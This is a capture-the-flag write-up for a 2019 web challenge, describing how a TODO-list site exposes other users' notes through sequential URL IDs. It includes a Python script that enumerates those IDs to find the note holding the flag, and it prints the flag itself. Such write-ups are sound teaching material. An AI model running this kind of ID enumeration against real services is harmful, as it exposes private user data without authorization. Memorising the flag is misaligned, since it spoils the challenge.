# STEM CTF Cyber Challenge 2019 – TODO

* **Category:** Web
* **Points:** 100

## Challenge

> TODO: Remember where I put that flag...
>
> http://138.247.13.110/

## Solution

The website simulates a TODO list application. Basically, URLs like `http://138.247.13.110/todolist/1000/` can be enumerated to read TODO notes of other users.

One of them contains the flag: `http://138.247.13.110/todolist/678/`.

To discover it, a [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/STEM%20CTF%20Cyber%20Challenge%202019/TODO/todo.py) can be written.

```python
import time
import random
import os
import urllib2

target_url = "http://138.247.13.110/todolist/{}/"

for i in range (1, 1000):

try:
# Call web page.
url = target_url.format(str(i))
print "[*] Calling web page '{}'.".format(url)
req = urllib2.Request(url)
page = urllib2.urlopen(req)
content = page.read()

# Flag found.
if "MCA{" in content:
print content
break

except urllib2.HTTPError as err:
print "[*] Response > {}".format(err.code)

# Go to sleep.
sleep_interval = random.randint(1, 4)
print "[*] Sleeping {} secs.".format(sleep_interval)
time.sleep(sleep_interval)
```

The flag is the following.

```
MCA{al3x4_5et_a_r3minder}
```

Original writeup (https://github.com/m3ssap0/CTF-Writeups/blob/master/STEM%20CTF%20Cyber%20Challenge%202019/TODO/README.md).